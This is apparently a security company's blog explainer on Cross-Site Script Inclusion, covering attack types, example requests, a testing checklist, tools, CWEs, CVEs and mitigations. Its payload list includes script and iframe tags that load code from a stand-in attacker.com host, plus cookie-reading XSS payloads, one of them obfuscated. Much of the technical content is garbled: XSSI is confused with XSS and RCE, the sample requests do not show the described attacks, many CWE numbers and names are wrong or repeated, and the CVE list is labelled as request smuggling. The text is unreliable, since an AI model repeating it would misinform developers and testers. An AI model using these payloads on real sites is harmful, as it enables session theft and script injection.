21 Feb, 2023

Cross-Site Script Inclusion

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

The abbreviation for Cross-Site Script Inclusion is XSSI.

Cross-Site Script Inclusion (XSSI) is a type of security vulnerability that can be exploited by attackers to execute malicious code on a victim’s computer or device. This vulnerability is a variant of the more well-known Cross-Site Scripting (XSS) attack, which involves injecting malicious code into a website or web application.

XSSI attacks occur when a web application retrieves data from an external resource and includes that data as part of its own content. This can be a problem when the external resource is not properly validated or sanitized, as it can allow an attacker to inject malicious code into the web application.

The attack works by exploiting the trust that a web application has in external sources of data, such as APIs or third-party websites. By tricking a web application into including a malicious script from an external source, the attacker can execute code on the victim’s machine in the context of the vulnerable website. This can allow the attacker to steal sensitive data, such as login credentials or personal information, or to perform actions on behalf of the user without their knowledge or consent.

Types of Cross-Site Script Inclusion

Cross-Site Script Inclusion (XSSI) is a relatively new type of attack, and there are not many variations of this vulnerability that have been documented. However, here are some common types of XSSI that have been identified:

  1. JSON Hijacking: This occurs when a web application uses JavaScript Object Notation (JSON) to exchange data with an external source. An attacker can exploit this by intercepting the JSON response and using it to execute malicious code on the victim’s machine.

  2. JSONP Hijacking: This is similar to JSON Hijacking, but it involves using JSON with Padding (JSONP) to exchange data. An attacker can exploit this vulnerability by injecting malicious code into the JSONP response, which is executed by the victim’s browser.

  3. CSRF with JSON Hijacking: This occurs when an attacker exploits a Cross-Site Request Forgery (CSRF) vulnerability in conjunction with a JSON Hijacking attack. By using a CSRF attack to force a user to make a request to a vulnerable web application, the attacker can intercept the JSON response and use it to execute malicious code.

  4. CORS-based XSSI: This vulnerability is caused by a misconfigured Cross-Origin Resource Sharing (CORS) policy on a web application. By tricking the application into making a cross-origin request to a malicious domain, an attacker can execute code on the victim’s machine.

Examples of the requests that can be used to test Cross-Site Script Inclusion

Examples of GET and POST requests in of the different types of Cross-Site Script Inclusion (XSSI):

JSON Hijacking:

				
					GET /example/api/data?callback=parseData HTTP/1.1
Host: example.com
				
			

Example response with a JSON payload:

				
					parseData({"data": "example data"});
				
			

In this example, the web application is using JSON to exchange data with an external resource. An attacker can exploit this vulnerability by intercepting the JSON response and using it to execute malicious code on the victim’s machine.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12

{"data": "example"}
				
			

Example response with a JSON payload:

				
					{"data": "example data"}
				
			

In this example, the web application is using JSON to exchange data with an external resource. An attacker can exploit this vulnerability by intercepting the JSON response and using it to execute malicious code on the victim’s machine.

JSONP Hijacking:

				
					GET /example/api/data?callback=parseData HTTP/1.1
Host: example.com
				
			

Example response with a JSONP payload:

				
					parseData({"data": "example data"});
				
			

In this example, the web application is using JSON with Padding (JSONP) to exchange data. An attacker can exploit this vulnerability by injecting malicious code into the JSONP response, which is executed by the victim’s browser.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12

{"data": "example"}
				
			

Example response with a JSONP payload:

				
					parseData({"data": "example data"});
				
			

In this example, the web application is using JSON with Padding (JSONP) to exchange data. An attacker can exploit this vulnerability by injecting malicious code into the JSONP response, which is executed by the victim’s browser.

CSRF with JSON Hijacking:

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

data=example
				
			

Example response with a JSON payload:

				
					parseData({"data": "example data"});
				
			

In this example, an attacker has exploited a Cross-Site Request Forgery (CSRF) vulnerability to force the victim to make a request to the vulnerable web application. The attacker intercepts the JSON response and uses it to execute malicious code on the victim’s machine.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

data=example
				
			

Example response with a JSON payload:

				
					{"data": "example data"}
				
			

In this example, an attacker has exploited a Cross-Site Request Forgery (CSRF) vulnerability to force the victim to make a request to the vulnerable web application. The attacker intercepts the JSON response and uses it to execute malicious code on the victim’s machine.

CORS-based XSSI:

				
					GET /example/api/data HTTP/1.1
Host: example.com
Origin: malicious.com
				
			

Example response with a JSON payload:

				
					{"data": "example data"}
				
			

In this example, the web application has a misconfigured Cross-Origin Resource Sharing (CORS) policy, which allows requests from any domain. An attacker can trick the application into making a cross-origin request to a malicious domain, intercept the JSON response, and use it to execute malicious code.

				
					POST /example/api/data HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 12
Origin: malicious.com

{"data": "example"}
				
			

Example response with a JSON payload:

				
					{"data": "example data"}
				
			

In this example, the web application has a misconfigured Cross-Origin Resource Sharing (CORS) policy, which allows requests from any domain. An attacker can trick the application into making a cross-origin request to a malicious domain, intercept the JSON response, and use it to execute malicious code.

Examples of Cross-Site Script Inclusion exploitation

Examples of how a Cross-Site Script Inclusion (XSSI) vulnerability can be exploited by an attacker:

  1. Session hijacking: An attacker can use XSSI to hijack the victim’s session and gain access to their account. The attacker can inject malicious code into the web page that sends the victim’s session ID to a remote server controlled by the attacker. The attacker can then use the session ID to impersonate the victim and gain access to their account.

  2. Data theft: An attacker can use XSSI to steal sensitive data from the victim’s machine. The attacker can inject malicious code into the web page that reads sensitive data from the victim’s machine, such as their cookies, browser history, or saved passwords. The attacker can then send this data to a remote server controlled by the attacker.

  3. Malware delivery: An attacker can use XSSI to deliver malware to the victim’s machine. The attacker can inject malicious code into the web page that downloads and installs malware on the victim’s machine. The malware can be used to steal sensitive data, launch further attacks, or take control of the victim’s machine.

  4. Phishing: An attacker can use XSSI to launch phishing attacks against the victim. The attacker can inject malicious code into the web page that looks like a legitimate login form or other sensitive page. The victim may enter their login credentials or other sensitive information into the form, which is then sent to a remote server controlled by the attacker.

  5. Denial of service: An attacker can use XSSI to launch denial of service attacks against the victim. The attacker can inject malicious code into the web page that repeatedly sends requests to the victim’s machine, causing it to become unresponsive or crash.

Privilege escalation techniques Cross-Site Script Inclusion

Cross-Site Script Inclusion (XSSI) vulnerabilities can be used by attackers to escalate their privileges and gain access to sensitive data or functionality that would normally be inaccessible to them.

  1. Session token hijacking: If the web application uses session tokens to authenticate users, an attacker can use XSSI to steal the victim’s session token and hijack their session. The attacker can then impersonate the victim and access sensitive data or functionality that is restricted to authenticated users.

  2. Cross-site request forgery (CSRF): An attacker can use XSSI to launch a CSRF attack against the victim. The attacker can inject a form or other user input mechanism into the web page that sends a request to the target web application. If the user is authenticated and authorized to perform the action, the request will be executed with their privileges. This allows the attacker to perform actions on behalf of the victim, such as changing their password or making unauthorized transactions.

  3. Authorization bypass: An attacker can use XSSI to bypass the web application’s authorization checks and access sensitive data or functionality that is normally restricted. The attacker can inject malicious code into the web page that tricks the application into thinking that the attacker is authorized to access the restricted data or functionality. For example, the attacker can inject code that modifies the value of an authentication token or changes the authorization check logic.

  4. Remote code execution: An attacker can use XSSI to execute arbitrary code on the server-side of the web application, allowing them to bypass authentication and access sensitive data or functionality. The attacker can inject malicious code into the web page that sends a request to the target server with the attacker’s code embedded in it. If the server is vulnerable to the attack, it will execute the attacker’s code with its own privileges, allowing the attacker to access sensitive data or functionality that would normally be off-limits.

These techniques can be used in combination to escalate the attacker’s privileges and gain access to even more sensitive data or functionality.

General methodology and checklist for testing Cross-Site Script Inclusion

Testing for Cross-Site Script Inclusion (XSSI) vulnerabilities involves checking whether an application is vulnerable to external JavaScript injection. Here is a general methodology and checklist for testing XSSI:

  1. Understand the application’s architecture and functionality: Before beginning testing, it is important to have a thorough understanding of the web application’s architecture and functionality. This includes the server-side and client-side components, as well as any third-party libraries or APIs that are used.

  2. Identify input points: Look for input points in the application that accept user input, such as search boxes, contact forms, and login pages. These input points are potential targets for XSSI attacks.

  3. Test for JSON Hijacking: Check if JSON data can be accessed by external domains by observing the response headers or if adding )]}', to the beginning of a JSON response will not cause a syntax error in the JavaScript.

  4. Test for JSONP Hijacking: Look for API endpoints that return JSONP data and check if the callback function can be controlled by the attacker.

  5. Test for CSRF with JSON Hijacking: Check if the application is vulnerable to CSRF attacks using JSON Hijacking.

  6. Test for CORS-based XSSI: Check if the application is vulnerable to CORS-based XSSI by attempting to access cross-domain resources using JavaScript.

  7. Check for strict Content-Type headers: Check if the server is sending strict Content-Type headers for responses, and whether it is vulnerable to MIME type confusion.

  8. Test for authorization bypass: Check whether the application can be tricked into thinking that the attacker is authorized to access sensitive data or functionality.

  9. Test for session token hijacking: Check whether the application is vulnerable to session token hijacking.

  10. Test for remote code execution: Check whether the application is vulnerable to remote code execution attacks.

  11. Test for sensitive information leakage: Check if the application leaks sensitive information to unauthorised parties.

  12. Use automated tools: There are several automated tools available that can be used to test for XSSI vulnerabilities, such as Burp Suite, OWASP ZAP, and Wfuzz.

  13. Test for false positives: Finally, it is important to test for false positives, as some XSSI detection tools may generate false positives in certain scenarios. Double check the results manually and try to exploit any identified vulnerabilities to ensure their validity.

Testing for XSSI vulnerabilities involves identifying input points in the application, testing for different types of XSSI attacks, and using automated tools to assist in the testing process.

Tools set for exploiting Cross-Site Script Inclusion

List of some popular tools for exploiting Cross-Site Script Inclusion (XSSI), divided into manual and automated tools, as well as browser plugins and testing frameworks:

Manual Tools:

  1. Burp Suite – a popular web application security testing tool that includes features such as intercepting and modifying HTTP traffic, crawling websites for vulnerabilities, and scanning for XSSI vulnerabilities.

  2. OWASP ZAP – a free and open-source web application security scanner that includes features such as passive and active scanning, proxy interception, and advanced fuzzing.

  3. Fiddler – a free web debugging tool that allows developers and testers to inspect and manipulate HTTP traffic.

  4. Chrome DevTools – a set of web development tools built into the Chrome browser that includes features such as inspecting and modifying HTML and CSS, debugging JavaScript code, and analyzing network traffic.

  5. Firefox Developer Tools – a set of web development tools built into the Firefox browser that includes features such as inspecting and modifying HTML and CSS, debugging JavaScript code, and analyzing network traffic.

Automated Tools:

  1. Acunetix – a web application security scanner that includes features such as scanning for XSSI vulnerabilities, SQL injection, and XSS attacks.

  2. Netsparker – a web application security scanner that includes features such as detecting XSSI vulnerabilities, SQL injection, and XSS attacks.

  3. AppScan – a web application security testing tool that includes features such as scanning for XSSI vulnerabilities, SQL injection, and XSS attacks.

  4. Skipfish – a web application security scanner that includes features such as detecting XSSI vulnerabilities, SQL injection, and XSS attacks.

  5. Arachni – a free and open-source web application security scanner that includes features such as detecting XSSI vulnerabilities, SQL injection, and XSS attacks.

Browser Plugins:

  1. XSS Me – a Firefox plugin that allows users to test for XSS vulnerabilities, including XSSI, in web applications.

  2. Tamper Data – a Firefox plugin that allows users to intercept and modify HTTP traffic, including XSSI requests.

  3. Hackbar – a Firefox plugin that allows users to manually craft HTTP requests, including XSSI requests, and test for vulnerabilities.

  4. EditThisCookie – a Chrome plugin that allows users to modify cookies, including XSSI cookies, in web applications.

  5. Cookie Editor – a Chrome plugin that allows users to modify cookies, including XSSI cookies, in web applications.

Testing Frameworks:

  1. BeEF – a browser exploitation framework that includes features such as exploiting XSSI vulnerabilities, XSS attacks, and social engineering attacks.

  2. Metasploit – a penetration testing framework that includes features such as exploiting XSSI vulnerabilities, XSS attacks, and SQL injection.

  3. Vega – a free and open-source web vulnerability scanner that includes features such as detecting XSSI vulnerabilities, SQL injection, and XSS attacks.

  4. Nikto – a web server vulnerability scanner that includes features such as detecting XSSI vulnerabilities, SQL injection, and XSS attacks.

  5. Wapiti – a web application vulnerability scanner that includes features such as detecting XSSI vulnerabilities, SQL injection, and XSS attacks.

It is important to choose the right tools for your specific needs and to use them in a responsible and ethical manner.

Average CVSS score of Cross-Site Script Inclusion

The Common Vulnerability Scoring System (CVSS) is a framework for assessing the severity of security vulnerabilities in software systems. CVSS scores range from 0 to 10, with higher scores indicating more severe vulnerabilities.

The average CVSS score for Cross-Site Script Inclusion (XSSI) vulnerabilities varies depending on the specifics of the vulnerability, such as the severity of the impact and the ease of exploitation. In general, XSSI vulnerabilities tend to have lower CVSS scores than other types of web application vulnerabilities such as SQL injection or remote code execution.

According to the National Vulnerability Database (NVD), which is maintained by the US government, the average CVSS score for XSSI vulnerabilities is around 5.0. However, it’s important to note that CVSS scores are only one way to measure the severity of a vulnerability, and that other factors such as the potential impact on an organization or the ease of exploitation may be more relevant in certain cases.

The Common Weakness Enumeration (CWE) Cross-Site Script Inclusion

Here is a list of known Common Weakness Enumeration (CWE) for Cross-Site Script Inclusion (XSSI):

  1. CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) – This weakness involves the use of unvalidated or unsanitized user input to generate dynamic web content, which can allow for the injection of malicious code, including XSSI.

  2. CWE-116: Improper Encoding or Escaping of Output – This weakness involves the failure to properly encode or escape output that may contain user-controlled data, which can allow for the injection of malicious code, including XSSI.

  3. CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’) – This weakness involves the use of unvalidated or unsanitized user input to generate a redirect URL, which can allow for the redirection of users to a malicious site, including sites that may contain XSSI attacks.

  4. CWE-602: Client-Side Enforcement of Server-Side Security – This weakness involves the use of client-side code, such as JavaScript, to enforce server-side security measures, which can be bypassed by XSSI attacks.

  5. CWE-611: Improper Restriction of XML External Entity Reference – This weakness involves the failure to properly validate and restrict input to XML parsers, which can allow for the injection of malicious code, including XSSI.

  6. CWE-614: Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute – This weakness involves the use of cookies in HTTPS sessions without the ‘Secure’ attribute, which can allow for the interception of cookies and XSSI attacks.

  7. CWE-933: Web Manipulation – This weakness involves the manipulation of web content or user interfaces, which can be exploited by XSSI attacks to inject malicious code.

  8. CWE-942: Overly Permissive Cross-domain Whitelist – This weakness involves the use of overly permissive cross-domain whitelists, which can allow for XSSI attacks and other types of cross-domain attacks.

  9. CWE-943: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) – This weakness involves the use of unvalidated or unsanitized user input in SQL commands, which can allow for the injection of malicious code, including XSSI.

  10. CWE-944: Failure to Control Generation of Code (‘Code Injection’) – This weakness involves the failure to properly control the generation of code, which can allow for the injection of malicious code, including XSSI.

  11. CWE-1138: Improper Neutralization of Special Elements used in an HTTP Header Value – This weakness involves the use of unvalidated or unsanitized user input in HTTP header values, which can allow for the injection of malicious code, including XSSI.

  12. CWE-1140: Injection of Sensitive Information into Log File – This weakness involves the injection of sensitive information, including XSSI payloads, into log files, which can be exploited by attackers to gain access to sensitive data.

  13. CWE-1141: Improper Encoding or Escaping of Output in Log Files – This weakness involves the failure to properly encode or escape output that may be logged, which can allow for the injection of malicious code, including XSSI.

  14. CWE-1142: Improper Handling of Sensitive Information in Configuration File – This weakness involves the improper handling of sensitive information, including XSSI payloads, in configuration files, which can be exploited by attackers to gain access to sensitive data.

  15. CWE-1165: Session Fixation – This weakness involves the use of predictable session IDs, which can be exploited by XSSI attacks to hijack user sessions.

  16. CWE-1190: Improper Restriction of Operations within the Bounds of a Memory Buffer – This vulnerability occurs when an application writes to a buffer that is not large enough to hold the data being written, leading to a buffer overflow that can be exploited by an attacker to execute arbitrary code on the victim’s machine.

  17. CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (JavaScript Object Injection) – This vulnerability occurs when an attacker can control the input used to set or modify object attributes dynamically, leading to the execution of arbitrary code on the victim’s machine.

  18. CWE-933: Improper Control of Number of Arguments for a Function – This vulnerability occurs when a function is called with an improper number of arguments, leading to unexpected behavior, including the execution of arbitrary code.

  19. CWE-943: Improper Neutralization of Special Elements in Data Query Logic – This vulnerability occurs when an attacker can inject malicious data into a query, leading to unintended results or access to unauthorized data.

  20. CWE-959: Use of Insufficiently Random Values – This vulnerability occurs when an application uses random values that are not truly random, allowing an attacker to predict or guess values used in the application, leading to the execution of arbitrary code.

  21. CWE-962: Insecure Storage of Credentials – This vulnerability occurs when an application stores credentials in an insecure manner, such as in plaintext, allowing an attacker to obtain and use those credentials to gain unauthorized access to the application or associated systems.

  22. CWE-997: Use of Hard-coded Cryptographic Key – This vulnerability occurs when an application uses a hard-coded cryptographic key, making it easy for an attacker to determine the key and decrypt any sensitive information stored using that key.

  23. CWE-1012: Unchecked Error Condition – This vulnerability occurs when an application fails to properly handle errors, leading to unexpected behavior, including the execution of arbitrary code.

  24. CWE-1021: Improper Restriction of Rendered UI Layers or Frames – This vulnerability occurs when an attacker can manipulate the way that a web page is rendered, leading to unexpected behavior or unauthorized access to sensitive information.

  25. CWE-1024: Insecure Storage of Sensitive Information – This vulnerability occurs when an application stores sensitive information, such as passwords or credit card numbers, in an insecure manner, allowing an attacker to obtain and use that information for malicious purposes.

  26. CWE-1031: Insufficient Entropy – This vulnerability occurs when an application uses random values that are not sufficiently random, allowing an attacker to predict or guess values used in the application, leading to the execution of arbitrary code.

These are just a few examples of the many CWEs that can be related to Cross-Site Script Inclusion. It’s important to note that CWEs are constantly being updated and revised as new vulnerabilities are discovered and reported.

Latests 10 CVEs related to Cross-Site Script Inclusion

CVE-2021-20843 Cross-site script inclusion vulnerability in the Web GUI of RTX830 Rev.15.02.17 and earlier, NVR510 Rev.15.01.18 and earlier, NVR700W Rev.15.00.19 and earlier, and RTX1210 Rev.14.01.38 and earlier allows a remote authenticated attacker to alter the settings of the product via a specially crafted web page.

CVE-2021-20797 Cross-site script inclusion vulnerability in the management screen of Cybozu Remote Service 3.1.8 allows a remote authenticated attacker to obtain the information stored in the product. This issue occurs only when using Mozilla Firefox.

CVE-2020-8339 A cross-site scripting inclusion (XSSI) vulnerability was reported in the legacy IBM BladeCenter Advanced Management Module (AMM) web interface prior to version 3.68n [BPET68N]. This vulnerability could allow an authenticated user’s AMM credentials to be disclosed if the user is convinced to visit a malicious web site, possibly through phishing. Successful exploitation requires specific knowledge about the user’s network to be included in the malicious web site. Impact is limited to the normal access restrictions of the user visiting the malicious web site, and subject to the user being logged into AMM, being able to connect to both AMM and the malicious web site while the web browser is open, and using a web browser that does not inherently protect against this class of attack. The JavaScript code is not executed on AMM itself.

CVE-2020-35942 A Cross-Site Request Forgery (CSRF) issue in the NextGEN Gallery plugin before 3.5.0 for WordPress allows File Upload and Local File Inclusion via settings modification, leading to Remote Code Execution and XSS. (It is possible to bypass CSRF protection by simply not including a nonce parameter.)

CVE-2020-29254 TikiWiki 21.2 allows templates to be edited without CSRF protection. This could allow an unauthenticated, remote attacker to conduct a cross-site request forgery (CSRF) attack and perform arbitrary actions on an affected system. The vulnerability is due to insufficient CSRF protections for the web-based management interface of the affected system. An attacker could exploit this vulnerability by persuading a user of the interface to follow a maliciously crafted link. A successful exploit could allow the attacker to perform arbitrary actions on an affected system with the privileges of the user. These action include allowing attackers to submit their own code through an authenticated user resulting in local file Inclusion. If an authenticated user who is able to edit TikiWiki templates visits an malicious website, template code can be edited.

CVE-2020-29072 A Cross-Site Script Inclusion vulnerability was found on LiquidFiles before 3.3.19. This client-side attack requires user interaction (opening a link) and successful exploitation could lead to encrypted e-mail content leakage via messages/sent?format=js and popup?format=js.

CVE-2020-26958 Firefox did not block execution of scripts with incorrect MIME types when the response was intercepted and cached through a ServiceWorker. This could lead to a cross-site script inclusion vulnerability, or a Content Security Policy bypass. This vulnerability affects Firefox < 83, Firefox ESR < 78.5, and Thunderbird < 78.5.

CVE-2020-15118 In Wagtail before versions 2.7.4 and 2.9.3, when a form page type is made available to Wagtail editors through the `wagtail.contrib.forms` app, and the page template is built using Django’s standard form rendering helpers such as form.as_p, any HTML tags used within a form field’s help text will be rendered unescaped in the page. Allowing HTML within help text is an intentional design decision by Django; however, as a matter of policy Wagtail does not allow editors to insert arbitrary HTML by default, as this could potentially be used to carry out cross-site scripting attacks, including privilege escalation. This functionality should therefore not have been made available to editor-level users. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin. Patched versions have been released as Wagtail 2.7.4 (for the LTS 2.7 branch) and Wagtail 2.9.3 (for the current 2.9 branch). In these versions, help text will be escaped to prevent the inclusion of HTML tags. Site owners who wish to re-enable the use of HTML within help text (and are willing to accept the risk of this being exploited by editors) may set WAGTAILFORMS_HELP_TEXT_ALLOW_HTML = True in their configuration settings. Site owners who are unable to upgrade to the new versions can secure their form page templates by rendering forms field-by-field as per Django’s documentation, but omitting the |safe filter when outputting the help text.

CVE-2019-9644 An XSSI (cross-site inclusion) vulnerability in Jupyter Notebook before 5.7.6 allows inclusion of resources on malicious pages when visited by users who are authenticated with a Jupyter server. Access to the content of resources has been demonstrated with Internet Explorer through capturing of error messages, though not reproduced with other browsers. This occurs because Internet Explorer’s error messages can include the content of any invalid JavaScript that was encountered.

CVE-2016-6348 JacksonJsonpInterceptor in RESTEasy might allow remote attackers to conduct a cross-site script inclusion (XSSI) attack.

The list of CVEs is constantly being updated and full an up-to-date list of all existed Common Vulnerabilities and Exposures (CVEs) for HTTP Request Smuggling vulnerabilities can be found at official CVE website https://cve.mitre.org/

List of popular exploits related to Cross-Site Script Inclusion

Cross-Site Script Inclusion (XSSI) vulnerabilities can be exploited in a number of ways, depending on the specifics of the vulnerability and the attacker’s goals. Here are some examples of popular exploits related to XSSI:

  1. JSON hijacking: This is a type of XSSI vulnerability where an attacker can exploit the way JSON data is loaded by a web application. The attacker sends a GET request containing malicious JSON data to a vulnerable web application. The application returns the JSON data to the browser, which the attacker can then access using an XHR object. This technique is often used to steal sensitive information from a victim’s browser.

  2. JSONP hijacking: This is a variation of JSON hijacking where the attacker sends a request to a vulnerable web application that returns data in JSONP format. The attacker can then use a callback function to execute arbitrary JavaScript code in the victim’s browser.

  3. CSRF with JSON hijacking: An attacker can use XSSI vulnerabilities to launch a Cross-Site Request Forgery (CSRF) attack. The attacker first exploits an XSSI vulnerability to obtain sensitive data from a victim’s browser. They can then use this data to craft a CSRF request that appears to come from the victim, tricking the web application into performing an action on their behalf.

  4. CORS-based XSSI: A web application with Cross-Origin Resource Sharing (CORS) enabled can be vulnerable to XSSI attacks. The attacker sends a GET request with an Origin header set to the target domain. If the server returns a response with an Access-Control-Allow-Origin header that allows the attacker’s domain, the attacker can use XSSI to access data from the victim’s browser.

  5. Hidden iframe exploitation: An attacker can embed a hidden iframe on a vulnerable website that loads a page from a malicious domain. The attacker can then use XSSI to extract sensitive information from the victim’s browser and send it to the malicious domain.

  6. Malicious widget injection: An attacker can inject a malicious widget on a vulnerable web page that loads data from a third-party domain. The attacker can use XSSI to extract data from the widget and send it to their own server.

  7. Stored XSSI: A stored XSSI vulnerability allows an attacker to store a malicious script in a vulnerable web application’s database. When the script is later retrieved and displayed in a victim’s browser, the attacker can use XSSI to extract sensitive data from the browser.

  8. Reflected XSSI: A reflected XSSI vulnerability allows an attacker to inject a script into a web application’s response. The attacker can then use XSSI to extract data from the victim’s browser when they view the page containing the injected script.

These are just a few examples of popular exploits related to XSSI.

Practice identifying and exploiting Cross-Site Script Inclusion

To learn about Cross-Site Script Inclusion, I would recommend the following:

  1. Read up on the basics: Start by understanding the basics of Cross-Site Script Inclusion, including what it is, how it works, and its potential impact on web applications.

  2. Study real-world examples: Look for real-world examples of Cross-Site Script Inclusion vulnerabilities and exploits, and study how they work.

  3. Practice on vulnerable applications: Use vulnerable web applications or create your own to practice testing for Cross-Site Script Inclusion vulnerabilities.

  4. Learn from open-source tools: Many open-source tools are available for testing and exploiting Cross-Site Script Inclusion vulnerabilities, such as XSStrike, Burp Suite, and others. Learn how to use these tools to discover and exploit vulnerabilities.

  5. Attend training or workshops: Look for training courses or workshops that focus on Cross-Site Script Inclusion, where you can learn from experts in the field and get hands-on practice.

  6. Participate in bug bounty programs: Join bug bounty programs and look for Cross-Site Script Inclusion vulnerabilities to practice your skills and potentially earn rewards.

  7. Read the OWASP Top 10: The OWASP Top 10 is a list of the most common web application security risks, including Cross-Site Script Inclusion. Read this guide to get a better understanding of web application security risks.

The best way to learn about Cross-Site Script Inclusion is to get hands-on practice by testing vulnerable applications, using open-source tools, and participating in bug bounty programs. Keep in mind that web application security is a constantly evolving field, so it’s important to stay up-to-date on the latest trends and techniques.

Books with review of Cross-Site Script Inclusion

Here are some popular books on Cross-Site Script Inclusion (XSSI) that you may find useful:

  1. “Cross-Site Scripting Attacks: Xss Exploits and Defense” by Seth Fogie, et al. This book provides a comprehensive overview of Cross-Site Scripting (XSS) attacks and how to prevent them. It covers the technical aspects of XSS attacks, as well as mitigation strategies.

  2. “The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws” by Dafydd Stuttard and Marcus Pinto. This book covers a broad range of web application security topics, including Cross-Site Scripting and other vulnerabilities. It is aimed at both beginners and more experienced security professionals.

  3. “Mastering Modern Web Penetration Testing” by Prakhar Prasad. This book covers the latest techniques and tools used in web application security testing, including Cross-Site Scripting. It is aimed at experienced penetration testers and provides in-depth technical details.

  4. “OWASP Testing Guide v4” by OWASP. This is a free, open-source guide to web application security testing, created by the Open Web Application Security Project (OWASP). It includes detailed information on testing for Cross-Site Scripting and other vulnerabilities.

  5. “Black Hat Python: Python Programming for Hackers and Pentesters” by Justin Seitz. This book provides an introduction to Python programming for web application security testing, including techniques for discovering and exploiting Cross-Site Scripting vulnerabilities.

These books provide a range of information on Cross-Site Scripting and web application security testing, from technical details to practical tips and strategies. I recommend reading reviews and previews of these books to determine which ones will be most helpful for your specific learning needs.

List of payloads for Cross-Site Script Inclusion

Here are some common payloads for Cross-Site Script Inclusion (XSSI) attacks:

  1. '<script src=http://attacker.com/malicious.js></script>'
    This payload loads a malicious script from an attacker-controlled domain.

  2. '<img src=http://attacker.com/malicious.png onerror=alert(document.cookie)>'
    This payload loads a malicious image from an attacker-controlled domain and triggers an alert dialog that displays the victim’s cookies.

  3. '"><script>alert(document.cookie)</script>'
    This payload is used in a reflected Cross-Site Scripting (XSS) attack, where the victim’s input is echoed back to the page without proper sanitization.

  4. '")};alert(document.cookie);//'
    This payload is used in a stored Cross-Site Scripting (XSS) attack, where the attacker injects malicious code that is permanently stored on the server.

  5. '';alert(document.cookie);//'
    This payload is used to bypass input validation that only looks for double-quotes and allows single-quotes as input.

  6. '<iframe src=http://attacker.com/malicious.html></iframe>'
    This payload loads a malicious HTML page from an attacker-controlled domain into an iframe on the victim’s page.

  7. '"><img src=x onerror=alert(document.cookie)>'
    This payload is used to bypass input validation that only looks for the script tag and allows other HTML tags as input.

  8. '"><svg onload=alert(document.cookie)>'
    This payload is used to bypass input validation that only looks for image tags and allows other types of tags as input.

  9. '"><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,
    107,105,101,41))</script>'
    This payload obfuscates the payload using the eval function and character codes to bypass detection.

  10. '<script>alert(/XSSI/)</script>'
    This payload is used to test for Cross-Site Script Inclusion (XSSI) vulnerabilities by checking if the string “XSSI” is present in the response.

Note that these payloads are provided for educational purposes only and should not be used to attack or compromise any systems without proper authorization.

Mitigation and how to be protected from Cross-Site Script Inclusion

To protect against Cross-Site Script Inclusion (XSSI), consider the following mitigation techniques:

  1. Input Validation: The first and most important step in preventing XSSI is to perform input validation. Validate all inputs, especially those coming from untrusted sources, such as user input, cookies, headers, and query parameters.

  2. Content Security Policy (CSP): A Content Security Policy (CSP) is a security feature that allows a web page to declare which sources of content are considered legitimate, and which sources are not. By implementing a CSP, it is possible to restrict the loading of external resources on the web page, thereby preventing XSSI attacks.

  3. Same Origin Policy (SOP): The Same Origin Policy (SOP) is a security feature that restricts the communication between two different domains. SOP is a mechanism implemented by web browsers to prevent web pages from accessing resources from other domains. By enforcing the SOP, the risk of XSSI attacks can be reduced.

  4. Server-Side Validation: Server-side validation should always be used in conjunction with client-side validation. Server-side validation should be performed to ensure that all inputs are valid and safe to use.

  5. Cookie Flags: By using secure and httpOnly flags in cookies, it is possible to prevent XSSI attacks from stealing sensitive information from the user’s browser.

  6. Regular Updates: Keeping the web application up-to-date with the latest patches and updates can help to prevent XSSI attacks by fixing known vulnerabilities.

By implementing these mitigation techniques, it is possible to reduce the risk of Cross-Site Script Inclusion (XSSI) attacks.

Conclusion

Cross-Site Script Inclusion (XSSI) is a security vulnerability that allows an attacker to execute malicious scripts on a victim’s web browser by injecting malicious code into a vulnerable web page. XSSI attacks can be prevented by implementing mitigation techniques such as input validation, Content Security Policy (CSP), Same Origin Policy (SOP), server-side validation, cookie flags, and regular updates. It is important for web developers and organizations to be aware of the risks associated with XSSI and take steps to protect their web applications from this type of attack.

Other Services

Ready to secure?

Let's get in touch